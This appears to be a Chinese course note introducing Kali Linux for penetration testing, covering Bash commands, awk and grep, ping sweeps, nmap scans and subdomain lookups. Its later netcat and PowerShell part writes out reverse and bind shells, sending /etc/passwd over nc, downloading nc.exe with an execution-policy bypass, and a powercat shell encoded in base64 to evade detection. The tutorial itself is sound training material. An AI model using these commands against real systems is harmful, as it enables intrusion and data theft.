学习方式方法 的 分享
学习方法有很多,很多种,但是并不是每一种方法都适合你自己,
比如说有些人喜欢系统化的把一个东西(比如一门编程语言)学完再学另外一个东西,这样有很多好处,但是也有弊端,
比如,好处是学习的完整,成体系化,这样学的会非常扎实,
但是,弊端是太耗时,而且很臃肿,你到后面会发现很多是用不到的,
而渗透测试的学习方法有很多,
我就喜欢那种实战中积累经验,实战中学习技能,
比如我在打一个靶场,而且这个靶场有是利用到某些关键点,那么,在这场打靶中就可以专门学习这些关键点的相关原理,和利用方法。
这样下去打的靶场越多,遇到的场景,会和相关技能连接在一起成一种链式体系。
这也是一种学习方法,在今天这个信息爆炸,知识爆炸的时代,如果花一两年去专门学一个编程语言,那太耗时间了。
进入正题
`Kali Linux`是基于`Debian`的Linux发行版,设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版
关于系统特性,定制,在不同设备上的安装,请在Kali Linux官网上查阅,http://www.kali.org/
Linux的创始人是李纳斯·托沃兹`Linus Torvalds`(芬兰)
他开发的只是一个系统内核,而我们日常使用的是各种各样的发行版
就有一些其他人把内核拿过来,结合上GNU开发的系统工具系统库,
再配上一个系统桌面就是一个漂亮的linux发行版
- 基于Debian的Linux发行版本
- 用于渗透测试和安全审计
- 包含600+安全工具
- FHS标准目录结构安全的开发环境
- 支持大量无线设备、硬件
- 完全可定制
- 永久免费
- 免去渗透测试人员自己维护工具的负
2020年以前是root账号登陆,之前都是普通用户登陆
Root用户策略
网络服务策略
更新策略
下载地址:https://www.kali.org/get-kali/#kali-bare-metal
验证hash值
制作启动光盘
制作启动U盘
设置BIOS启动顺序
启动安装
Top 10安全工具
字体调整
强行终止程序
文件目录
共享文件
熟悉BASH
命令
Ls、cd、cat、more、tail、cp、rm、top、ps、grep、ifconfig、netstat、awk、sort、
fdisk、mount、dmesg、find、whereis、
Echo、vi、vim
管道
Shell脚本
──(root㉿kali)-[/]
└─# ls home #查看目录
acunetix acunetix.zip kali
┌──(root㉿kali)-[/]
└─# ls home -l #查看目录的详情
总用量 335796
drwxr-xr-x 6 acunetix acunetix 4096 12月 11 04:44 acunetix
-rw-r--r-- 1 root root 343839143 4月 30 05:25 acunetix.zip
drwxr-xr-x 16 kali kali 4096 5月 17 11:07 kali
┌──(root㉿kali)-[/]
└─# ls home/kali -la #查看隐藏文件
总用量 136
-rw------- 1 kali kali 956 5月 7 12:22 .zsh_history #linux下,以.开头的文件都是隐藏文件
-rw-r--r-- 1 kali kali 10877 8月 8 2022 .zshrc
查看网络相关配置信息
ifconfig、netstat、 ip
┌──(root㉿kali)-[~]
└─# ip
Usage: ip [ OPTIONS ] OBJECT { COMMAND | help }
ip [ -force ] -batch filename
where OBJECT := { address | addrlabel | amt | fou | help | ila | ioam | l2tp |
link | macsec | maddress | monitor | mptcp | mroute | mrule |
neighbor | neighbour | netconf | netns | nexthop | ntable |
ntbl | route | rule | sr | tap | tcpmetrics |
token | tunnel | tuntap | vrf | xfrm }
OPTIONS := { -V[ersion] | -s[tatistics] | -d[etails] | -r[esolve] |
-h[uman-readable] | -iec | -j[son] | -p[retty] |
-f[amily] { inet | inet6 | mpls | bridge | link } |
-4 | -6 | -M | -B | -0 |
-l[oops] { maximum-addr-flush-attempts } | -br[ief] |
-o[neline] | -t[imestamp] | -ts[hort] | -b[atch] [filename] |
-rc[vbuf] [size] | -n[etns] name | -N[umeric] | -a[ll] |
-c[olor]}
┌──(root㉿kali)-[~]
└─# ip ad
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 10:1c:21:17:38:d3 brd ff:ff:ff:ff:ff:ff
inet 192.168.10.16/24 brd 192.168.10.255 scope global dynamic noprefixroute eth0
valid_lft 1567sec preferred_lft 1567sec
inet6 fe80::eb0c:dee9:9d57:95bb/64 scope link noprefixroute
valid_lft forever preferred_lft forever
┌──(root㉿kali)-[~]
└─# ip route
default via 192.168.10.1 dev eth0 proto dhcp src 192.168.10.16 metric 100
192.168.10.0/24 dev eth0 proto kernel scope link src 192.168.10.16 metric 100
以前用ifconfig查看网络配置,现在都可以用ip 、ip ad
来查看
还可以用
┌──(root㉿kali)-[~]
└─# networkctl
WARNING: systemd-networkd is not running, output will be incomplete.
IDX LINK TYPE OPERATIONAL SETUP
1 lo loopback n/a unmanaged
2 eth0 ether n/a unmanaged
2 links listed.
┌──(root㉿kali)-[~]
└─# networkctl status
WARNING: systemd-networkd is not running, output will be incomplete.
● State: n/a
Online state: unknown
Address: 192.168.10.106 on eth0
fe80::eb0c:dee9:9d57:95bb on eth0
Gateway: 192.168.10.1 on eth0
ss -pantu
┌──(root㉿kali)-[~]
└─# ss -pantu
Netid State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
udp ESTAB 0 0 192.168.10.16%eth0:68 192.168.10.200:67 users:(("NetworkManager",pid=532,fd=25))
udp ESTAB 0 0 [::1]:33159 [::1]:33159 users:(("postgres",pid=81496,fd=8),("postgres",pid=81447,fd=8),
tcp LISTEN 0 511 0.0.0.0:7880 0.0.0.0:* users:(("sensor-bridge",pid=733,fd=20))
tcp LISTEN 0 244 127.0.0.1:35432 0.0.0.0:* users:(("postgres",pid=567,fd=6))
tcp LISTEN 0 128 0.0.0.0:3443 0.0.0.0:* users:(("opsrv",pid=610,fd=11))
tcp ESTAB 0 0 192.168.10.16:45870 31.111.65.15:443
查看本机与其他网段的机器建立的连接
netstat -pantu
┌──(root㉿kali)-[~]
└─# netstat -pantu
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:35432 0.0.0.0:* LISTEN 567/postgres
tcp 0 0 0.0.0.0:3443 0.0.0.0:* LISTEN 610/opsrv
tcp 0 0 0.0.0.0:7880 0.0.0.0:* LISTEN 733/sensor-bridge
tcp 0 0 192.168.10.106:45870 34.117.65.55:443 ESTABLISHED 20316/firefox-esr
查看本机与其他网段的机器建立的连接
netstat -pantul
┌──(root㉿kali)-[~]
└─# netstat -pantul
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:35432 0.0.0.0:* LISTEN 567/postgres
tcp 0 0 0.0.0.0:3443 0.0.0.0:* LISTEN 610/opsrv
tcp 0 0 0.0.0.0:7880 0.0.0.0:* LISTEN 733/sensor-bridge
tcp 0 0 192.168.10.106:45870 34.117.65.55:443 ESTABLISHED 20316/firefox-esr
tcp6 0 0 ::1:35432 :::* LISTEN 567/postgres
AWK
linux
下都是文件,所以AWK
很重要,而且AWK
高级很强大
单独
显示/etc/passwd
文件中所有能登录的用户
先看一下/etc/passwd目录下文件的结构
┌──(root㉿kali)-[~]
└─# cat /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
king-phisher:x:133:142::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:,,,:/home/kali:/usr/bin/zsh
acunetix:x:998:1001::/home/acunetix:/bin/sh
toor:$1$123$nE5gIYTYiF1PIXVOFjQaW/:0:0:root:/toor:/bin/bash
发现是以 : 做分隔一列一列显示的内容
┌──(root㉿kali)-[~]
└─# cat /etc/passwd | awk -F ":" '{print $7}'
| 管道符就是把上一个命令执行的结果输出给下一个命令,
下一个命令是AWK -F 指定分隔,指定以":"分隔,'{print $7}'打印第7列
/usr/bin/zsh
/usr/sbin/nologin
/bin/sync
/bin/false
/usr/bin/zsh
/bin/sh
/bin/bash
打印第1列和第7列,
再使用grep -v去除掉nologin的内容,
└─# cat /etc/passwd | awk -F ":" '{print $1 $7}' | grep -v nologin
root/usr/bin/zsh
sync/bin/sync
tss/bin/false
speech-dispatcher/bin/false
lightdm/bin/false
mysql/bin/false
Debian-snmp/bin/false
postgres/bin/bash
kali/usr/bin/zsh
acunetix/bin/sh
toor/bin/bash
再使用一次grep -v去除掉false的内容,
剩下的就是可以登录的用户了
└─# cat /etc/passwd | awk -F ":" '{print $1 $7}' | grep -v nologin| grep -v false
root/usr/bin/zsh
sync/bin/sync
postgres/bin/bash
kali/usr/bin/zsh
acunetix/bin/sh
toor/bin/bash
fdisk -l
查看硬盘
┌──(root㉿kali)-[~]
└─# fdisk -l
Disk /dev/sda: 80.09 GiB, 86000000000 bytes, 167968750 sectors
Disk model: VMware Virtual S
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x4419f333
Device Boot Start End Sectors Size Id Type
/dev/sda1 * 2048 167968749 167966702 80.1G 83 Linux
sda1就是1个分区
mount
查看系统挂载了那些卷,那些网络硬盘
┌──(root㉿kali)-[~]
└─# mount
sysfs on /sys type sysfs (rw,nosuid,nodev,noexec,relatime)
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
udev on /dev type devtmpfs (rw,nosuid,relatime,size=974100k,nr_inodes=243525,mode=755,inode64)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noexec,relatime,size=202028k,mode=755,inode64)
/dev/sda1 on / type ext4 (rw,relatime,errors=remount-ro)
securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,inode64)
dmesg
查看系统启动过程中的信息,
插上一个U盘后,在运行dmesg
就可以看到系统啥时候加载了一个U盘啊,啥的
┌──(root㉿kali)-[~]
└─# dmesg
[ 0.000000] Linux version 5.18.0-kali5-amd64 (devel@kali.org) (gcc-11 (Debian 11.3.0-3) 11.3.0, GNU ld (GNU Binutils for Debian) 2.38) #1 SMP PREEMPT_DYNAMIC Debian 5.18.5-1kali6 (2022-07-07)
[ 0.000000] Command line: BOOT_IMAGE=/boot/vmlinuz-5.18.0-kali5-amd64 root=UUID=ea15ea92-0b42-4db4-bb97-b4e86a29542a ro quiet splash
[ 0.000000] [Firmware Bug]: TSC doesn't count with P0 frequency!
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x001: 'x87 floating point registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x002: 'SSE registers'
[ 0.000000] x86/fpu: Supporting XSAVE feature 0x004: 'AVX registers'
[ 0.000000] x86/fpu: xstate_offset[2]: 576, xstate_sizes[2]: 256
[ 0.000000] x86/fpu: Enabled xstate features 0x7, context size is 832 bytes, using 'standard' format.
[ 0.000000] signal: max sigframe size: 1776
[ 0.000000] BIOS-provided physical RAM map:
find
find / -type f -user root -perm -o=w -exec ls -al ‘{}’ \;
/从根目录开始搜索,
-tpye类型, f普通文件,
-user root所有者是root, -perm -o=w是所有者是root,
但是他的权限-perm是除了所有则以外的其他用户-o=w有写的权限的,
ls -al 找到这样的文件就执行ls -al,
‘{}’ \;打印输出结果
但是这样的搜索结果会很多,而且会有很多Permission denied权限拒绝的,
可以在结尾再添加2>/dev/null把那些没权限的输出到黑洞里去。
find / -type f -user root -perm -o=w -exec ls -al ‘{}’ \; 2>/dev/null
在Linux终端窗口中执行的每一个命令都是绑定三个数据流的,
一、标准输入,代号0
二、标准输出,代号1
三、标准报错,代号2
2>/dev/null,这里的 2 就是报错信息,把报错信息输出到/dev/null,黑洞里
which
which也是搜索,但是它只在系统变量里搜索,超出这个目录范围它就不去搜索,有局限性。
─# which nc
/usr/bin/nc
─# echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games
env
显示系统环境变量
echo
└─# echo $USER
root
管道符 |
在linux下管道符是一个非常强大的功能
Shell
shell也是一种脚本语言
头部要写解析,声明用/bin/bash来解析
#! /bin/bash
echo “hello word!”
执行shell
bash shell文件名
还可以添加执行权限,然后以 ./ 文件名来执行
chmod +x a.sh 添加执行权限
./a.sh ./执行
因为前面在文件头部写好了使用/bin/bash来解析,所以它知道这是shell脚本。
写一个交互式的shell脚本
#! /bin/bash
read -p 'username: ' user 读取-p 'username'加一个提示信息 赋值到user
read -sp 'password: ' pass 读取-sp 'password'加一个不显示的提示信息 赋值到pass
if [ $user = 'admin' ] && [ $pass = '123' ]; then
echo " "
echo "welcome! $user"
else
echo " "
echo "wrong ! "
fi
如果user=admin,而且pass也等于123的情况下,就输出welcome,否则输出wrong
for
语句
for i in $(seq 1 20); do ping -c 1 192.168.10.$i; done
for 一个变量,变量名为i,在1-20中循环取值,
然后执行do ping -c 1 每个ip只ping一次,$i就是循环前面创建的变量i(1-20),然后执行
┌──(root㉿kali)-[~]
└─# for i in $(seq 1 20); do ping -c 1 192.168.10.$i; done
PING 192.168.10.1 (192.168.10.1) 56(84) bytes of data.
--- 192.168.10.1 ping statistics ---
1 packets transmitted, 0 received, 100% packet loss, time 0ms
PING 192.168.10.2 (192.168.10.2) 56(84) bytes of data.
From 192.168.10.104 icmp_seq=1 Destination Host Unreachable
--- 192.168.10.2 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
PING 192.168.10.3 (192.168.10.3) 56(84) bytes of data.
From 192.168.10.104 icmp_seq=1 Destination Host Unreachable
--- 192.168.10.3 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
PING 192.168.10.4 (192.168.10.4) 56(84) bytes of data.
From 192.168.10.104 icmp_seq=1 Destination Host Unreachable
--- 192.168.10.4 ping statistics ---
1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
再优化一下
for i in $(seq 1 20); do ping -c 1 192.168.10.$i | grep ttl ; done
┌──(root㉿kali)-[~]
└─# for i in $(seq 1 20); do ping -c 1 192.168.10.$i |grep ttl; done
64 bytes from 192.168.10.2: icmp_seq=1 ttl=64 time=0.504 ms
64 bytes from 192.168.10.5: icmp_seq=1 ttl=64 time=0.504 ms
for i in $(seq 1 20); do ping -c 1 192.168.10.$i |grep “64 bytes from”; done
┌──(root㉿kali)-[~]
└─# for i in $(seq 1 20); do ping -c 1 192.168.10.$i |grep "64 bytes from"; done
64 bytes from 192.168.10.2: icmp_seq=1 ttl=64 time=0.504 ms
64 bytes from 192.168.10.5: icmp_seq=1 ttl=64 time=0.504 ms
这样就简单明了了
============高能预警
============
先 nmap -p80 –open 192.168.18.0/24 -oG result.txt
使用nmap 扫描192.168.18.0/24段内主机-80端口,结果保存至 result.txt
接下来开始提纯
┌──(root㉿kali)-[~]
└─# cat result.txt | grep 80 提取出来含有80的行
# Nmap 7.92 scan initiated Fri Nov 25 21:46:44 2022 as: nmap -p80 --open -oG result.txt 192.168.18.0/24
Host: 192.168.18.1 (192.168.18.1) Ports: 80/open/tcp//http///
┌──(root㉿kali)-[~]
└─# cat result.txt | grep 80 | grep -v "nmap" 再去除多余的行,以关键字为剔除的条件
Host: 192.168.18.1 (192.168.18.1) Ports: 80/open/tcp//http///
┌──(root㉿kali)-[~]
└─# cat result.txt | grep 80 | grep -v "nmap" | awk '{print $2}' 打印第二列,就得出ip结果了
192.168.18.1
┌──(root㉿kali)-[~]
└─# for i in $(cat result.txt | grep 80 | grep -v "nmap" | awk '{print $2}'); do cutycapt --url=$i --out=$i.png; done
使用for循环,创建变量i 循环在上面步骤输出的这个ip为结果的条件下,
do cutycapt 是访问网页
–url=$i 需要知道网页的url
–out=$i.png 输出结果为截图
;done 结束
这样执行完的结果就会在目录下保存
grep
查找index.html中的子域名
# wget www.baidu.com
index.html 100%[===============>] 2.33K --.-KB/s 用时 0s
# cat index.html
<!DOCTYPE html>
<!--STATUS OK--><html> <head><meta http-equiv=content-type content=text/html;charset=utf-8><meta http-equiv=X-UA-Compatible content=IE=Edge><meta content=always name=referrer><link rel=stylesheet type=text/css href=http://s1.bdstatic.com/<a href="http://www.baidu.com/bdorz/login.gif?login&tpl=mn&u='+ f+ ( : "&")+ "bdorz_come=1")+ '" name="tj_login" class="lb">登录</a>href=//www.baidu.com/more/ name=tj_briicon class=bri style="display: block;">更多产品</a>href=http://home.baidu.com>关于百度</a> <a href=http://ir.baidu.com>http://home.baidu.com
grep -o 只显示符合添加的
.在正则表达式有其他的意识,需要转义一下,.前面加\让它保留.的本身意识
所有域名前面都有//
排除掉所有前面有//的, [^/]* *星号是加上的意识
┌──(root㉿kali)-[~]
└─# grep -o '[^/]*\.baidu\.com' index.html
www.baidu.com
www.baidu.com
news.baidu.com
map.baidu.com
v.baidu.com
tieba.baidu.com
www.baidu.com
login.gif?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com
www.baidu.com
www.baidu.com
home.baidu.com
ir.baidu.com
www.baidu.com
jianyi.baidu.com
www.baidu.com
再使用sort -u 去除重复 ,
└─# grep -o '[^/]*\.baidu\.com' index.html | sort -u
home.baidu.com
ir.baidu.com
jianyi.baidu.com
login.gif?login&tpl=mn&u=http%3A%2F%2Fwww.baidu.com
map.baidu.com
news.baidu.com
tieba.baidu.com
v.baidu.com
www.baidu.com
再去除中间的杂项grep -v "?"
└─# grep -o '[^/]*\.baidu\.com' index.html | sort -u | grep -v "?"
home.baidu.com
ir.baidu.com
jianyi.baidu.com
map.baidu.com
news.baidu.com
tieba.baidu.com
v.baidu.com
www.baidu.com
结果输出到a.txt
grep -o '[^/]*\.baidu\.com' index.html | sort -u | grep -v "?" > a.txt
for
循环执行域名解析
┌──(root㉿kali)-[~]
└─# for i in $(cat a.txt); do host $i; done
home.baidu.com has address 183.232.232.54
home.baidu.com has address 180.101.49.156
home.baidu.com has address 111.206.209.69
ir.baidu.com is an alias for ir.baidu.com.edgekey.net.
ir.baidu.com.edgekey.net is an alias for e2545.dsca.akamaiedge.net.
e2545.dsca.akamaiedge.net has address 104.111.197.190
e2545.dsca.akamaiedge.net has IPv6 address 2600:1417:4400:484::9f1
e2545.dsca.akamaiedge.net has IPv6 address 2600:1417:4400:4bc::9f1
jianyi.baidu.com is an alias for help.baidu.com.
help.baidu.com has address 112.34.111.18
help.baidu.com has address 124.237.176.164
help.baidu.com has address 110.242.68.201
help.baidu.com has address 110.242.68.202
help.baidu.com has address 180.97.33.42
help.baidu.com has address 112.34.111.183
help.baidu.com has address 112.80.255.43
help.baidu.com has address 124.237.176.165
help.baidu.com has address 112.80.255.39
map.baidu.com is an alias for map.n.shifen.com.
map.n.shifen.com has address 112.80.248.48
map.n.shifen.com has address 153.3.236.101
news.baidu.com is an alias for news.n.shifen.com.
news.n.shifen.com has address 153.3.236.50
news.n.shifen.com has address 157.255.77.214
news.n.shifen.com has address 157.255.77.215
tieba.baidu.com is an alias for post.n.shifen.com.
post.n.shifen.com has address 112.80.248.167
post.n.shifen.com has address 112.80.248.231
v.baidu.com has address 180.76.54.189
v.baidu.com has address 180.76.236.81
v.baidu.com has address 180.76.139.133
v.baidu.com has address 180.76.168.131
v.baidu.com has address 180.76.245.159
v.baidu.com has IPv6 address 2400:da00:404:2::b44c:b4df
www.baidu.com is an alias for www.a.shifen.com.
www.a.shifen.com has address 112.80.248.76
www.a.shifen.com has address 112.80.248.75
常用工具
Nc/ncat
Wireshark
Tcpdump
powershell
NC
网络工具中的瑞士军刀—小身材、大智慧
侦听模式/传输模式
telnet/获取banner信息
传输文本信息
加密传输文件
远程控制/木马
加密所有流量
流媒体服务器远程克隆硬盘
printf “GET /HTTP/1.1\r\nHost:192.168.18.1\r\n\r\n” | nc 192.168.18.180
服务端就会返回他的网页代码
NC 传文件
服务端可向接收端,接收端也可以向服务端
左:将/etc/passwd文件传输给连接4444端口的人
右:连接后将 文件 输出到a
也可以收文件
左:连接4444后将 文件 输出到b中
左:将a文件传输到4444端口
NC 传输目录
nc是无法直接传输目录的
但是可以把目录打包压缩后再传输
A: tar -cvf – music/ | nc -lp 333 -q 1
B: nc -nv 1.1.1.1 333 | tar-xvf –
NC 加密传文件
A: nc -lp 333| mcrypt –flush -Fbqd -a rijndael-256-m ecb >1.mp4
B: mcrypt –flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv 1.1.1.1 333 -q 1
NC 流媒体服务
A: cat 1.mp4 | nc -lp 333
B: nc 1.1.1.1 333 | mplayer-vo x11 -cache 3000
NC 端口扫描
nc -nvz 1.1.1.1 1-65535
nc -vnzu 1.1.1.1 1-1024
NC 远程克隆硬盘
A: nc -lp 333 | dd of=/dev/sda
B: dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
远程电子取证,可以将目标服务器硬盘远程复制,或者内存。
NC 远程控制
正向:
A: nc -lp 333 -e bash 有的nc版本没有-e参赛
B: nc 1.1.1.1 333
反向:
A: nc -lp 333
B: nc 1.1.1.1 333 -e bash
注: Windows用户把bash改成cmd
A: nc -nvlp 4444 -e /bin/bash
B: nc 127.0.0.1 4444
Windows版本的nc在kali的/usr/share/windows-resources/binaries/nc.exe
在不支持nc -e 的机器上可以这样玩
先nc ip,建立连接,加 | 管道符输出给下一命令,建立连接后把/bin/bash再 | 管道符输出给那个ip的另一个端口,
这样上面那个端口是输入命令的,下面那个端口就会把命令执行结果输出出来。
NC缺乏加密和身份验证的能力
Ncat包含于nmap工具包中,支持ssl加密和来源控制
A: ncat -c bash --allow 192.168.20.14 -vnl 333 --ssl
B: ncat-nv 1.1.1.1333 --ssl
Powershell
非常强大!!!
kali先在要传输文件的目录下开启http 80端口传输
python -m http.server 80
cmd下直接用
powershell -Exec bypass -command import-module bitsTransfer; start-bitstransfer http://192.168.10.107/nc.exe
文件穿过来及可以用了,
先看一下windows的ip 如:192.168.10.110nc.exe -nvlp 4444 -e cmd
kali: nc 192.168.10.110 4444
C:\User\yonghu
powershell下正常很多命令
wget http://192.168.10.107/weget.exe -O wget.exe
下载weget.exe -O是保存
powershell下执行powershell的脚本是有限制的,
系统默认不让执行powershell的脚本,但是可以单独执行powershell的命令。
也可以设置解开这个限制,
执行Get-ExecutionPolicy
查看状态
Restricted 是限制状态Get-ExecutionPolicy Unrestricted
再输入a接触全部限制
kali下自带的powershell脚本在这个路径/usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1
iwr和wget是一个东西
iwr http://192.168.10.107 powercat.ps1 -O powercat.ps1
..\powercat.ps1
执行导入powercat -h
具体怎么用何以看提示
kali开启监听 nc -nvlp 4444
windows下 powercat -c 192.168.10.107 -p 4444 -e cmd
这样kali就收到了windows发来的shell了
也可以单独生成一个编码后的连接语句,来绕过检测,参数:-gepowercat -c 192.168.10.107 -p 4444 -e cmd -ge > e.ps1
怎么使用呢
powershell -E 把上面编码的内容全部复制,然后黏贴下来,这个一看就知道是base64编码的
Wireshark
包永远不会撒谎的,
日志可能会被篡改,
之前是做日志分析,现在把流量也加进来,
在日志中查看的那个时间点发起的攻击,然后再把那个时间的数据包也给调出来,
两个都能查到攻击源那就对的上了
第一天上午的课就结束啦~
暂无评论内容